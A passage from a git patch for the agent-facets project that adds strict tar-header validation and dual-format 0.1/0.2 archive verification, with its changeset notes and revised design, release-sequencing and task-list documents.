From c4e7771ce14eb470f81d3c77890a917612fa9a1c Mon Sep 17 00:00:00 2001 From: Julian Coy Date: Mon, 20 Jul 2026 15:08:02 -0400 Subject: [PATCH] Add strict raw tar-header validation, `0.2` archive verification, and structured `ArchiveVerificationFailure` to the consumer bridge --- .changeset/protocol-0-2-consumer-support.md | 15 + .../changes/support-non-asset-files/design.md | 22 +- .../support-non-asset-files/proposal.md | 2 +- .../changes/support-non-asset-files/tasks.md | 218 ++-- .../publish/__tests__/publish.test.ts | 8 +- packages/cli/src/commands/publish/index.ts | 35 +- .../src/tui/views/install/failure-block.tsx | 6 + packages/cli/src/util/registry-errors.ts | 12 + packages/engine/src/__tests__/cache.test.ts | 96 +- .../engine/src/__tests__/run-install.test.ts | 8 +- packages/engine/src/cache/operations.ts | 33 +- .../__tests__/materialize-version.test.ts | 15 +- .../src/install/__tests__/run-add.test.ts | 3 +- .../__tests__/run-install.chain.test.ts | 11 +- .../__tests__/run-install.receipt.test.ts | 3 +- .../src/install/__tests__/run-install.test.ts | 3 +- .../src/install/__tests__/run-remove.test.ts | 3 +- .../engine/src/install/commit/resolve-git.ts | 10 +- .../materialize-version/download-miss.ts | 15 +- packages/engine/src/registry/download.ts | 83 +- packages/engine/src/registry/types.ts | 5 + .../protocol/src/__tests__/archive-helpers.ts | 185 +++ .../src/__tests__/content-hash.test.ts | 61 +- .../src/__tests__/fixtures/generate.ts | 71 ++ .../src/__tests__/fixtures/valid-0.1.facet | Bin 0 -> 10240 bytes .../src/__tests__/fixtures/valid-0.2.facet | Bin 0 -> 10240 bytes .../src/__tests__/tar-headers.test.ts | 110 ++ .../src/__tests__/validate-archive.test.ts | 1079 +++++++++-------- packages/protocol/src/build/archive-plan.ts | 15 +- packages/protocol/src/build/content-hash.ts | 197 +-- packages/protocol/src/build/tar-headers.ts | 402 ++++++ packages/protocol/src/index.ts | 21 +- packages/protocol/src/integrity/index.ts | 12 +- .../src/integrity/validate-archive.ts | 644 +++++++--- scripts/smoke/protocol-node.mjs | 188 ++- 35 files changed, 2589 insertions(+), 1002 deletions(-) create mode 100644 .changeset/protocol-0-2-consumer-support.md create mode 100644 packages/protocol/src/__tests__/archive-helpers.ts create mode 100644 packages/protocol/src/__tests__/fixtures/generate.ts create mode 100644 packages/protocol/src/__tests__/fixtures/valid-0.1.facet create mode 100644 packages/protocol/src/__tests__/fixtures/valid-0.2.facet create mode 100644 packages/protocol/src/__tests__/tar-headers.test.ts create mode 100644 packages/protocol/src/build/tar-headers.ts diff --git a/.changeset/protocol-0-2-consumer-support.md b/.changeset/protocol-0-2-consumer-support.md new file mode 100644 index 00000000..d6e31f38 --- /dev/null +++ b/.changeset/protocol-0-2-consumer-support.md @@ -0,0 +1,15 @@ +--- +"@agent-facets/protocol": minor +--- + +**Consumer support for archive format `0.2` (pre-1.0 breaking minor).** The protocol now verifies both legacy `0.1` and current `0.2` `.facet` archives with strict, exact `facetVersion` dispatch and no fallback between versions. This is the consumer-first release: verification support ships before any producer emits `0.2`. + +**Breaking API — `validateFacetArchive`.** The result shape is now `{ ok: true; data: VerifiedFacetArchive } | { ok: false; failure: ArchiveVerificationFailure }`. The previous `{ ok: false; errors: ValidationError[] }` arm is replaced by a single tagged `failure`. The success payload type `VerifiedArchive` is renamed to `VerifiedFacetArchive` and is now a discriminated union on `archiveVersion`: the legacy `0.1` arm keeps the flat `assets: VerifiedAsset[]` list, while the current `0.2` arm exposes `entries: VerifiedEntry[]` (each tagged `manifest` | `primary-asset` | `skill-companion` | `archive-only`). Consumers that read `.assets` unconditionally should migrate to the version-agnostic helpers `listVerifiedFiles(archive)` and `verifiedFileHashes(archive)`. + +**Structured failures.** `ArchiveVerificationFailure` is a tagged union (`container`, `invalid-json`, `duplicate-members`, `unsupported-facet-version`, `schema-violation`, `decompression`, `integrity`, `entry-integrity`, `validation`); classify on `failure.code` rather than parsing messages. No expected failure mode throws. + +**New public API.** `VerifiedFacetArchive`, `VerifiedEntry`, `ArchiveVerificationFailure`, `ValidateFacetArchiveResult`, `listVerifiedFiles`, `verifiedFileHashes`; versioned build-manifest and lockfile schemas plus their exact-dispatch parsers `parseBuildManifestDocument` and `parseLockfileDocument`; the shared archive plan (`planArchiveEntries`, `validateSupplementaryPath`, `portableCollisionKey`); strict raw tar-header validation (`validateRawTarEntries`, `RawTarValidationOptions`); and the archive-format constants `FACET_ARCHIVE_VERSION` (`0.2`), `LEGACY_FACET_ARCHIVE_VERSION` (`0.1`), and `SUPPORTED_FACET_VERSIONS`. `parseFacetArchive` now returns a version-tagged parsed build manifest and a structured `failure`. + +**Transitional exports retained.** `BuildManifestSchema`/`BuildManifest`, `LockfileSchema`/`Lockfile`, and `LOCKFILE_VERSION` (which equals the legacy value `1`, not the current `0.2`) remain exported and `@deprecated` for the compatibility window; they are removed once the engine lockfile-migration and producer work lands. Prefer the versioned parsers and `CURRENT_LOCKFILE_VERSION` in new code. + +This release intentionally carries **no** `@agent-facets/adapter` or `agent-facets` (CLI) version bump: the adapter API `0.0`→`0.1` cutover and the CLI `0.2` producer ship in later, separately gated releases. Other implementations of the spec (e.g. the registry) adopt this published package to gain dual-format verification. diff --git a/openspec/changes/support-non-asset-files/design.md b/openspec/changes/support-non-asset-files/design.md index 5e4992f3..b36128e0 100644 --- a/openspec/changes/support-non-asset-files/design.md +++ b/openspec/changes/support-non-asset-files/design.md @@ -59,13 +59,13 @@ Rationale: today's outer-exclusivity check and `collectArchiveEntries` already c ### D4: Build manifest — unconditional 0.2 output; strict version dispatch; pre-1.0 minor releases -Every build produced after this change SHALL emit `facetVersion: 0.2`, whether or not the facet declares supplementary files. Asset-only facets therefore use the same current format as facets with supplementary files. Producers SHALL NOT conditionally emit `0.1`; `0.1` remains a legacy input format supported by consumers during a compatibility window and MAY be deprecated by a separate future change. "After this change" means from the producer release (Migration Plan step 5) onward: the earlier consumer-side bridge release intentionally continues emitting `0.1` while `0.2` verification deploys everywhere, and that sequencing is not an exception to this rule but the path to enabling it. +Every build produced by the final CLI release SHALL emit `facetVersion: 0.2`, whether or not the facet declares supplementary files. Asset-only facets therefore use the same current format as facets with supplementary files. Producers SHALL NOT conditionally emit `0.1`; `0.1` remains a legacy input format supported by consumers during a compatibility window and MAY be deprecated by a separate future change. "By the final CLI release" distinguishes source implementation from publication: the complete producer may be implemented, tested, and merged while the released CLI still emits `0.1`, because no `agent-facets` Changeset is merged during that preparation window. A protocol-only consumer release and the registry deployment precede the held CLI release gate; withholding that release is the activation mechanism, not a runtime dual-format flag. The `0.2` build manifest SHALL replace the `assets` map with a single `files` map: canonical inner-tar path → `sha256:`, covering every entry — `facet.json`, primary asset files, and supplementary files. The map carries hashes only. Asset/supplementary classification is NEVER read from the build manifest; it is derived from the embedded `facet.json` via the archive plan (D3). The completeness rule is single: the `files` key set MUST exactly equal the observed inner-tar entry set. Verifiers SHALL dispatch on `facetVersion` exactly once, at parse time: the exact legacy schema and rules apply to `0.1`; the rules above apply to `0.2`; any other version returns a structured `UNSUPPORTED_FACET_VERSION` failure carrying the observed version and supported versions. A malformed `0.2` manifest MUST NOT be reinterpreted as `0.1` — no fallback between versions. A `files` key in a `0.1` manifest (or an `assets` key in `0.2`) fails schema validation, making the illegal combinations unrepresentable in validated data. -The CLI SHALL render unsupported-version failures as upgrade guidance. For a known format transition, one CLI-side compatibility table SHALL map the facet format to the minimum supporting CLI release, producing guidance such as: “This facet uses archive format 0.2, which this CLI does not support. Update agent-facets to or later.” For an unknown future format, the CLI SHALL advise updating to the latest release without inventing a minimum version. Already-released CLIs cannot be retrofitted and MAY continue showing their existing generic validation error; a consumer-first bridge release SHOULD add this handling before any producer emits `0.2`. +The CLI SHALL render unsupported-version failures as upgrade guidance. For a known format transition, one CLI-side compatibility table SHALL map the facet format to the minimum supporting CLI release, producing guidance such as: “This facet uses archive format 0.2, which this CLI does not support. Update agent-facets to or later.” For an unknown future format, the CLI SHALL advise updating to the latest release without inventing a minimum version. Already-released CLIs cannot be retrofitted and MAY continue showing their existing generic validation error. The final CLI release includes both the consumer rendering and producer switch after the protocol package and registry are already ready; a separately published bridge CLI is optional rather than a prerequisite. This archive-format boundary is distinct from package release versioning. While `@agent-facets/protocol` and `@agent-facets/adapter` remain pre-1.0, breaking contract changes SHALL increment each package's minor version rather than its major version. This change therefore ships in the next minor release of each package. The permanent protocol release policy SHALL be updated by this change to encode the pre-1.0 rule; after 1.0, breaking changes SHALL require a major release. @@ -222,24 +222,24 @@ The `installation` spec's "Facet operations require compatible selected adapters - **[Unsupported format surprises installers]** → Build output SHALL display the emitted `facetVersion` and complete entry listing; install SHALL return a structured unsupported-version failure, and the CLI SHALL render actionable upgrade guidance from its single compatibility table. - **[Third-party adapter breakage]** → SDK-helper adapters inherit companion support via the helpers; only custom-I/O adapters must implement the widened contract. The tagged unions make the migration mechanical and exhaustively checkable. - **[A positional `0.0` adapter is silently accepted by a tagged CLI]** → The identifier bump to `0.1` (D8) makes the wire-contract change visible to exact-identifier compatibility; a `0.0` adapter is unsupported and fails closed before any contract method or state write. Fixtures MUST prove a positional `0.0` bundle is rejected by a `{0.1}` CLI. -- **[Old `0.0` adapters break at the CLI cutover]** → Consumer-first release ordering (Migration Plan step 4 before step 5): SDK and all three first-party adapters publish `0.1` before any CLI requires it; existing `0.0` CLIs keep selecting compatible `0.0` releases. Recovery from a broken install is the reinstall command the compatibility diagnostic already surfaces. +- **[Old `0.0` adapters break at the CLI cutover]** → Staged release ordering: SDK and all three first-party adapters publish `0.1` before the held CLI-only Changeset is merged; existing `0.0` CLIs keep selecting compatible `0.0` releases. Recovery from a broken install is the reinstall command the compatibility diagnostic already surfaces. - **[Two declaration sites could confuse authors]** → The disjointness rule (D1/D7) yields a precise error pointing at the correct site; edit-flow detection (D11) writes declarations to the right place automatically. - **[Existing source manifests use slash-namespaced assets or duplicate skill/command names]** → Their published `0.1` archives remain consumable, but rebuilding as `0.2` fails with actionable validation errors before output is changed. Authors MUST rename the assets; invalid `0.2` manifests are never interpreted using legacy rules. ## Migration Plan -Consumer-first: verification support ships everywhere before any producer can emit the new format. +Consumer-first publication is controlled by package-specific Changesets. Source implementation may continue in parallel, but no released producer emits the new format until both consumer and adapter gates are proven. -1. **protocol (next minor release)**: adopt the pre-1.0 breaking-release policy; add the D3 plan operation, D7 path grammar, D9 current-format asset-name grammar and shared namespace validation, D4 versioned build-manifest schemas with strict dispatch and structured unsupported-version results, D5 verification, D6 tagged parsed results, and D10 lockfile `0.2` with exact legacy-1/current-0.2 dispatch, per-file integrity schemas, and mismatch result types — plus immutable fixtures for both archive versions. -2. **engine/CLI bridge (consumer side)**: loaders and cache consume the tagged parsed result; verified legacy lockfiles and receipts migrate during normal installs while frozen legacy state retains legacy behavior; unsupported versions and per-file integrity mismatches render actionable diagnostics. Producers still emit `0.1` in this bridge release. -3. **cafe registry (out of repo, hard gate)**: deploys `0.2` verification while retaining `0.1`. Producer enablement MUST NOT ship before this lands. -4. **adapter SDK (next minor release) + first-party adapters**: tagged payload unions, atomic bundle helpers (D8), injected-failure tests; the SDK bumps `ADAPTER_API_VERSION` `0.0`→`0.1` and every first-party adapter migrates and declares package/runtime API `0.1` — claude-code, opencode, and codex. This SDK/adapter release publishes `0.1` to npm *before* step 5. Until it does, existing `0.0` CLIs keep selecting the highest compatible `0.0` adapter release; no CLI whose supported set is `{0.1}` ships until all three first-party adapters have published `0.1`. -5. **engine/CLI producer release**: every build emits archive `0.2` and writes only lockfile `0.2`; materialize passes skill bundles; receipts write the `0.2` ownership shape; create and edit ship the D11 first-class `README.md`/`README` authoring flow; generic supplementary-file detection/add/remove flows land. -6. **docs** (Article III): update `docs/specification/archive.mdx` (membership rules, single `files` hash map, version dispatch), `build.mdx` (plan derivation, validation-before-cleanup, displayed version), `manifest.mdx` (both `files` fields, minimum-producer-version warning, linked Agent Skills naming convention, single-segment asset names versus nested companion paths, shared skill/command namespace), `integrity.mdx` (all-entry and per-locked-file coverage), `lockfile.mdx` (lockfile `0.2`, per-materialized-file integrity, legacy-alpha-1 migration, stable-v1 regeneration boundary), `commit.mdx` (receipt ownership and transactional reconciliation), `install.mdx` (materialization boundary, atomic skill bundles, mismatch diagnostics), `docs/guides/create-your-first-facet.mdx` and `docs/guides/install-facets.mdx` (asset-only phrasing, README workflow), root `README.md`. +1. **Protocol-only release (first handoff)**: merge the proposal, protocol-model, and archive-verification stack; adopt the pre-1.0 breaking-release policy; publish the D3 plan operation, D7 path grammar, D9 current-format asset-name grammar and shared namespace validation, D4 versioned build-manifest schemas with strict dispatch and structured unsupported-version results, D5 verification, D6 tagged parsed results, and D10 lockfile `0.2` schemas — plus immutable fixtures for both archive versions. Its pre-1.0 minor Changeset names only `@agent-facets/protocol`: no adapter package and no `agent-facets` CLI release is attached. +2. **Parallel registry lane (out of repo)**: after the protocol release is published, the cafe registry pins that npm version directly, migrates to the tagged verifier and complete file-hash view, proves `0.1` retention plus `0.2` acceptance, and deploys. It does not require a local facets checkout or a released `0.2` CLI. The deployed registry remains a hard gate for the final CLI release. +3. **Parallel facets source lane (unreleased)**: engine and CLI loaders, lockfile/receipt migration, per-file materialization, producer output, create/edit authoring, diagnostics, and documentation may be completed, reviewed, and merged while the registry lane proceeds. The candidate source emits `0.2` for tests and stage interoperability, but no `agent-facets` Changeset is merged, so released CLIs continue emitting `0.1`. There is no long-lived runtime flag or dual current-producer mode. +4. **Adapter SDK + first-party adapter release**: publish the tagged payload unions, atomic bundle helpers, and injected-failure coverage; bump `ADAPTER_API_VERSION` `0.0`→`0.1`; and publish claude-code, opencode, and codex with package/runtime API `0.1`. This Changeset names only the SDK and three adapters. Existing `0.0` CLIs keep selecting the highest compatible `0.0` releases; no CLI whose supported set is `{0.1}` ships until all three first-party adapters have published `0.1`. +5. **Held final CLI gate**: prepare a tiny, unmerged `agent-facets`-only Changeset PR after source implementation is complete. Before the user authorizes its merge, verify the published protocol API from a clean install, all three published adapter declarations, the deployed registry's dual-version behavior, the full repository suite, and a candidate CLI `0.2` build/publish/readback against stage. Merging the held Changeset and generated version-package PR is the sole public activation: every new build then emits archive `0.2`, lockfiles/receipts use `0.2`, materialization passes skill bundles, and create/edit ship the first-class README and supplementary-file flows. +6. **Documentation and release notes (Article III)**: complete documentation before the held CLI gate is authorized. Update `docs/specification/archive.mdx` (membership rules, single `files` hash map, version dispatch), `build.mdx` (plan derivation, validation-before-cleanup, displayed version), `manifest.mdx` (both `files` fields, minimum-producer-version warning, linked Agent Skills naming convention, single-segment asset names versus nested companion paths, shared skill/command namespace), `integrity.mdx` (all-entry and per-locked-file coverage), `lockfile.mdx` (lockfile `0.2`, per-materialized-file integrity, legacy-alpha-1 migration, stable-v1 regeneration boundary), `commit.mdx` (receipt ownership and transactional reconciliation), `install.mdx` (materialization boundary, atomic skill bundles, mismatch diagnostics), `docs/guides/create-your-first-facet.mdx` and `docs/guides/install-facets.mdx` (asset-only phrasing, README workflow), root `README.md`, and the protocol-only, adapter-only, and final CLI release notes without duplicating version sources. Before the future stable lockfile v1 release, legacy-alpha-1 parsing SHALL be removed and replaced with actionable delete-and-regenerate guidance for old-shape numeric-1 files. -Rollback: before any `0.2` artifact is published, producer rollout MAY revert to the bridge release. After publication or multi-file skill materialization, producer emission MAY be paused, but consumers MUST retain `0.1` and `0.2` verification plus receipt-aware deletion. Removing `0.1` support requires a separately reviewed deprecation change. For the adapter API axis, rollback means restoring/reinstalling compatible adapter and CLI releases: because compatibility is exact-identifier and cannot be inferred from package semver, a `0.1` CLI cannot be made to accept a `0.0` adapter by changing versions — recovery is reinstalling a `0.1` adapter (or downgrading the CLI to a `0.0` release paired with `0.0` adapters), never a version bump alone. +Rollback: before the held CLI Changeset is merged, public producer rollout is cancelled simply by leaving that release gate unmerged; the published protocol, deployed registry, and adapter releases remain backward-compatible consumer preparation. After a `0.2` artifact is published or a multi-file skill is materialized, producer emission MAY be paused, but consumers MUST retain `0.1` and `0.2` verification plus receipt-aware deletion. Removing `0.1` support requires a separately reviewed deprecation change. For the adapter API axis, rollback means restoring/reinstalling compatible adapter and CLI releases: because compatibility is exact-identifier and cannot be inferred from package semver, a `0.1` CLI cannot be made to accept a `0.0` adapter by changing versions — recovery is reinstalling a `0.1` adapter (or downgrading the CLI to a `0.0` release paired with `0.0` adapters), never a version bump alone. ## Open Questions diff --git a/openspec/changes/support-non-asset-files/proposal.md b/openspec/changes/support-non-asset-files/proposal.md index 3d8500b7..8a396a41 100644 --- a/openspec/changes/support-non-asset-files/proposal.md +++ b/openspec/changes/support-non-asset-files/proposal.md @@ -13,7 +13,7 @@ The facet pipeline enforces a one-file-per-asset invariant end to end: build col - **The adapter API identifier advances from `0.0` to `0.1`.** Identifier `0.0` names the current positional contract; the tagged request/result contract SHALL increment it to `0.1`. The SDK SHALL stamp `0.1`, first-party adapters SHALL declare package and runtime API `0.1`, and the CLI supported set SHALL be exactly `{0.1}`. There is no positional/tagged bridge: a `0.0` adapter stays well-formed but SHALL be unsupported by a `0.1` CLI and SHALL fail closed — before any contract method or state mutation — with the existing reinstall guidance. This axis is independent of the archive and lockfile/receipt versions. The SDK and all three first-party adapters SHALL publish `0.1` before any CLI release requiring `0.1`; existing `0.0` CLIs keep selecting the highest compatible `0.0` release from npm. - **Everything else ships but does not materialize.** Non-asset files outside skill directories — root-level files like `README.md`, or extras under `agents/` and `commands/` — SHALL NOT be written to disk at install time. They travel with the archive as facet metadata for future surfaces (e.g. a `facet info` command, registry listings). This change makes README shippable and verifiable, not displayed. Supplementary files SHALL NOT become independently addressable assets: no asset type, adapter metadata, install scope, or lockfile asset tuples. - **README receives first-class authoring support.** Create SHALL offer editable `README.md` content enabled by default. Edit SHALL expose dedicated create/edit/adopt/scaffold/remove actions for both exact conventional paths, `README.md` and extensionless `README`. README remains optional and uses the same top-level supplementary-file declaration mechanism as every other archive-only file. -- **BREAKING (protocol/archive format).** All builds produced after this change SHALL use `facetVersion: 0.2`; consumers SHALL continue accepting legacy `0.1` archives during a compatibility window. Unsupported versions MUST produce structured failures that the CLI renders as actionable upgrade guidance. Protocol and adapter packages SHALL use their next minor releases while pre-1.0; removing `0.1` support is a separate future change. The archive `facetVersion` (`0.1`→`0.2`), the lockfile/receipt version (`0.2`), and the adapter API identifier (`0.0`→`0.1`) are three independent axes; a consumer classifies each separately and never infers one from another. +- **BREAKING (protocol/archive format).** All builds produced by the final CLI release SHALL use `facetVersion: 0.2`; consumers SHALL continue accepting legacy `0.1` archives during a compatibility window. Unsupported versions MUST produce structured failures that the CLI renders as actionable upgrade guidance. The protocol consumer API SHALL publish first in a protocol-only pre-1.0 minor release, with no adapter or CLI release attached; that published package is the handoff that lets the registry adopt and deploy dual-format verification independently while the remaining CLI implementation continues unreleased. The adapter SDK and first-party adapters then publish their separate `0.1` cutover before a held, CLI-only Changeset activates the final producer release. Removing `0.1` support is a separate future change. The archive `facetVersion` (`0.1`→`0.2`), the lockfile/receipt version (`0.2`), and the adapter API identifier (`0.0`→`0.1`) are three independent axes; a consumer classifies each separately and never infers one from another. ## Non-goals diff --git a/openspec/changes/support-non-asset-files/tasks.md b/openspec/changes/support-non-asset-files/tasks.md index 4ea4c7c3..059b192b 100644 --- a/openspec/changes/support-non-asset-files/tasks.md +++ b/openspec/changes/support-non-asset-files/tasks.md @@ -35,104 +35,126 @@ - [x] 3.1 Explore: Trace outer/inner tar parsing and identify where duplicate, aliased, unsafe, and non-regular headers can be rejected before path-keyed maps are built - [x] 3.2 Explore: Trace archive verification, cache extraction/auditing, registry download, and engine loading from verified bytes through resolved facet data - [x] 3.3 Explore: Inspect integrity result types and CLI failure rendering for path-specific mismatches, decompression refusal, and unsupported versions -- [ ] 3.4 Propose: Define the consumer-first bridge approach for strict `0.1`/`0.2` dispatch, tagged verified content, immutable fixtures, and actionable failures without enabling `0.2` production +- [x] 3.4 Propose: Define the consumer-first bridge approach for strict `0.1`/`0.2` dispatch, tagged verified content, immutable fixtures, and actionable failures without enabling `0.2` production ## 4. Archive Verification and Consumer Bridge — Implementation -- [ ] 4.1 Implement: Validate raw tar headers for both the outer container and the inner archive before lossy mapping and return structured failures for duplicate paths, portable aliases, unsafe or non-portable paths, and every non-regular entry type -- [ ] 4.2 Implement: Make archive verification derive exact expected membership from the embedded manifest's shared archive plan and require equality with observed entries and the version-selected hash map -- [ ] 4.3 Implement: Keep supplementary content as opaque bytes and return a tagged verified result that groups companions with their owning skill while decoding and validating only primary assets as text -- [ ] 4.4 Implement: Add structured unsupported-version and per-entry integrity failures, preserve caller-supplied decompression, and prevent malformed current archives from falling back to legacy rules -- [ ] 4.5 Implement: Update registry download, cache audit/extraction, and engine loaders to consume tagged verified results without exposing archive-only files to materialization -- [ ] 4.6 Implement: Add immutable valid `0.1` and `0.2` fixtures plus tampering, missing/extra entry, raw-header (both layers), duplicate-JSON-member, portable-alias, non-portable path, binary, empty-supplementary, and legacy-compatibility tests -- [ ] 4.7 Verify: Run focused protocol and engine consumer tests and confirm the bridge accepts both formats while no producer yet emits `0.2` - -## 5. Adapter Skill Bundles — Research - -- [ ] 5.1 Explore: Trace adapter install/read/delete calls and identify every positional-contract implementation and consumer -- [ ] 5.2 Explore: Inspect filesystem helper containment, metadata transformation, pruning, and failure behavior for each first-party adapter -- [ ] 5.3 Explore: Inspect engine materialization's type-only adapter dependency and determine how atomic helpers can remain owned by the adapter SDK -- [ ] 5.4 Propose: Define tagged request/result unions and an all-or-nothing owned skill-bundle lifecycle that cannot represent companions on agents or commands -- [ ] 5.5 Explore: Audit the merged adapter-API-version machinery — `ADAPTER_API_VERSION`, `SUPPORTED_ADAPTER_APIS`, verifier/loader/inspection classification, npm package/runtime declaration selection, and first-party prepack `facetAdapterApiVersion` injection — and confirm every consumer derives from the single SDK constant - -## 6. Adapter Skill Bundles — Implementation - -- [ ] 6.1 Implement: Replace positional adapter asset methods with tagged skill, agent, and command requests/results carrying explicit scope, type, and name, with skill variants carrying engine-supplied owned-companion path sets for install, read, and delete -- [ ] 6.2 Implement: Add SDK filesystem helpers that validate every supplied companion path (new or owned) as contained below the skill root before any filesystem access, plus staged bundle replacement, rollback, ownership-set-based deletion, and empty-directory pruning with primary-only metadata transformation -- [ ] 6.3 Implement: Migrate claude-code, opencode, and codex adapters to the tagged contract and canonical reads, including consistent skill-root pruning and preservation of unowned files -- [ ] 6.4 Implement: Add SDK and first-party adapter tests for companion-less and multi-file skills, escaping paths in bundles and ownership sets, malformed ownership rejection before any filesystem access, idempotence, canonical reads limited to requested owned paths, unowned content preservation, and injected failures at every write/delete/commit boundary -- [ ] 6.5 Implement: Update adapter public exports and add the required pre-1.0 minor-release metadata describing the breaking contract -- [ ] 6.6 Implement: Bump the single-source-of-truth `ADAPTER_API_VERSION` from `0.0` to `0.1` for the tagged contract, keep `SUPPORTED_ADAPTER_APIS` derived from it (support set `{0.1}`), and update first-party adapter package/runtime declarations and prepack `facetAdapterApiVersion` injection so every consumer derives `0.1` without hardcoding the token -- [ ] 6.7 Implement: Add fail-closed coverage proving `defineAdapter()` stamps `0.1` while author definitions cannot supply it, a positional `0.0` declaration is well-formed but unsupported by a `{0.1}` CLI, an installed/runtime `0.0` adapter is rejected before any contract method or project mutation, package/runtime metadata agree at `0.1`, and tagged `0.1` first-party adapters proceed through normal materialization -- [ ] 6.8 Verify: Run focused adapter SDK, compatibility/verifier, and all first-party adapter typechecks and tests - -## 7. Lockfile, Receipt, and Materialization — Research - -- [ ] 7.1 Explore: Trace lockfile loading/writing and every place resolved entries are inherited, minted, compared, or carried forward -- [ ] 7.2 Explore: Trace receipt loading, bootstrapping, project isolation, drift removal, tri-write commit, and rollback ordering -- [ ] 7.3 Explore: Trace materialization, skip-if-identical behavior, journaling, deletion, drift reporting, and archive-to-adapter data flow -- [ ] 7.4 Propose: Define the migration and transaction approach for per-file integrity, untrusted receipt ownership, atomic skill bundles, normal legacy migration, and frozen legacy behavior - -## 8. Lockfile, Receipt, and Materialization — Implementation - -- [ ] 8.1 Implement: Replace numeric-order lockfile handling with exact legacy-alpha-`1` and current-`0.2` loading, normal-mode migration, and frozen-mode no-rewrite behavior -- [ ] 8.2 Implement: Derive sorted lockfile asset file records from the verified materialization subset and recomputed entry hashes rather than copying self-declared hash values -- [ ] 8.3 Implement: Enforce pre-materialization agreement among facet integrity, asset identities, complete owned path sets, recomputed entry hashes, and verified build-manifest hashes with path-specific result variants, running the adapter-compatibility preflight (positional `0.0` rejected by a `{0.1}` CLI) ahead of archive-version dispatch and per-file reconciliation -- [ ] 8.4 Implement: Introduce receipt `0.2` asset/file ownership, safe legacy refinement, project-isolated bootstrap, and containment validation that treats receipt data as untrusted -- [ ] 8.5 Implement: Commit lockfile, receipt, and adapter state transactionally and ensure frozen consistency gates complete before receipt-driven cleanup begins -- [ ] 8.6 Implement: Materialize only primary assets and owned skill companions through tagged adapter requests carrying validated ownership sets from the lockfile and receipt, with per-file skip/repair behavior and rollback journal preimages -- [ ] 8.7 Implement: Make drift and removal path-specific, preserve unowned files, and support offline multi-file cleanup from receipts without cache or network access -- [ ] 8.8 Implement: Render lockfile, archive-version, per-file mismatch, adapter-bundle, and receipt failures exhaustively in CLI install output using one compatibility table for known format transitions -- [ ] 8.9 Implement: Add engine and CLI tests for migration, frozen failures, receipt corruption/isolation, pulled-lockfile cleanup, per-file drift, integrity mismatch, rollback, archive-only withholding, and exact diagnostics -- [ ] 8.10 Implement: Add a full-cycle end-to-end test that builds and verifies a facet with skill companions and archive-only files, installs it, detects and repairs single-file drift, exercises interrupted-install convergence on re-run without deleting unowned files, and removes it offline from the receipt, then exercises the same install path with an immutable legacy `0.1` archive -- [ ] 8.11 Verify: Run focused install, materialization, receipt, lockfile, cache, registry, and CLI install tests - -## 9. Current Producer and Build Pipeline — Research - -- [ ] 9.1 Explore: Trace source-file loading, build validation stages, archive assembly, output cleanup, and build-result rendering -- [ ] 9.2 Explore: Inspect source filesystem APIs needed to reject missing files, links, resolved aliases, and non-regular declarations before output mutation -- [ ] 9.3 Explore: Confirm consumer support and the external registry verification gate required before any producer can emit archive format `0.2` -- [ ] 9.4 Propose: Define the producer switch that reuses the archive plan, preserves deterministic bytes, validates before cleanup, and emits only current-format output - -## 10. Current Producer and Build Pipeline — Implementation - -- [ ] 10.1 Implement: Record a passing consumer-and-registry readiness gate and do not enable `0.2` producer output if either consumer class is not ready -- [ ] 10.2 Implement: Load declared supplementary files as exact bytes, validate their resolved regular-file identities, and preserve previous `dist/` output on every input failure -- [ ] 10.3 Implement: Drive archive collection and all-entry hashing from the shared archive plan, preserving deterministic ordering and opaque binary or empty supplementary content -- [ ] 10.4 Implement: Switch every new build, including asset-only facets, to flat build-manifest `0.2` output with a complete `files` map while retaining legacy consumer support -- [ ] 10.5 Implement: Update build results and CLI output to show the emitted format, complete entry listing, integrity, and archive-assembly stage -- [ ] 10.6 Implement: Add the build failure-class matrix for traversal, absolute/drive/URL prefixes, backslashes, NUL, empty/`.`/`..` segments, Unicode-normalization and portable-case aliases, Windows-reserved device names, forbidden portable characters, trailing dot/space segments, file/directory prefix collisions, symlinks, hard links, duplicate paths, reserved root `facet.json`, conventional-primary-path collisions, missing declarations, undeclared entries, and tampered bytes, plus success tests for top-level files, nested companions, binary/empty bytes, exact manifest-byte hashing, canonical-tar determinism, scoped output paths, and validation-before-cleanup -- [ ] 10.7 Verify: Run focused build pipeline and CLI build tests and inspect representative `0.2` archives for exact deterministic membership - -## 11. Create and Edit Authoring — Research - -- [ ] 11.1 Explore: Trace scaffold options, manifest generation, templates, previews, and create wizard state/editor round-trips -- [ ] 11.2 Explore: Trace edit scanner, reconciliation, context, operation, manifest-rewrite, confirmation, and transactional apply types -- [ ] 11.3 Explore: Inspect create/edit focus management and exhaustive UI switches that must represent two independent README paths and path-bearing reconciliation items -- [ ] 11.4 Propose: Define tagged README and supplementary-file states, stable reconciliation identities, headless-create behavior, and an exact-path operation preview for the full authoring block - -## 12. Create and Edit Authoring — Implementation - -- [ ] 12.1 Implement: Add an editable default `README.md` scaffold option and template that writes the file and top-level declaration atomically without regenerating authored content after identity edits -- [ ] 12.2 Implement: Add the dedicated create README card/editor flow, optional disable behavior, state snapshotting, and explicit confirmation preview, and align headless create with the documented policy -- [ ] 12.3 Implement: Extend edit scanning and reconciliation for undeclared skill companions, common root files, and missing declared supplementary files while routing only exact `README.md` and `README` paths to a dedicated panel -- [ ] 12.4 Implement: Add independent tagged states and actions for both conventional README paths, preserving bytes on adoption and retaining exact paths for scaffold, edit, removal, and declaration changes -- [ ] 12.5 Implement: Replace string-parsed reconciliation keys with stable structured identities and represent file/declaration operations as tagged variants with no invalid combinations -- [ ] 12.6 Implement: Apply README, companion, and generic supplementary changes transactionally with manifest edits and show every queued exact-path operation before Apply -- [ ] 12.7 Implement: Add engine, CLI, TUI, integration, and create-build end-to-end tests covering README defaults/disable/edit preservation in interactive and headless creates, both README paths, adoption, missing-file choices, companion discovery, skill deletion preserving undeclared files, confirmation, cancellation, and buildability -- [ ] 12.8 Verify: Run focused scaffold, edit, create, TUI, integration, and end-to-end tests - -## 13. Documentation and Release Readiness — Research - -- [ ] 13.1 Explore: Audit `docs/` and root `README.md` for archive versions, hash-map shape, manifest naming/declarations, lockfile/receipt semantics, install behavior, adapter contracts, and asset-only wording -- [ ] 13.2 Explore: Inspect documentation generation and shared snippets so field descriptions and compatibility values are referenced from authoritative schemas or constants rather than duplicated -- [ ] 13.3 Explore: Inspect linked-package changeset policy, current package versions, and release-note requirements for pre-1.0 breaking minor releases -- [ ] 13.4 Propose: Define the documentation, generated-reference, compatibility-warning, and release-note update set, including the custom-adapter contract page omitted from the original migration list - -## 14. Documentation and Release Readiness — Implementation - -- [ ] 14.1 Implement: Update archive, build, manifest, integrity, lockfile, 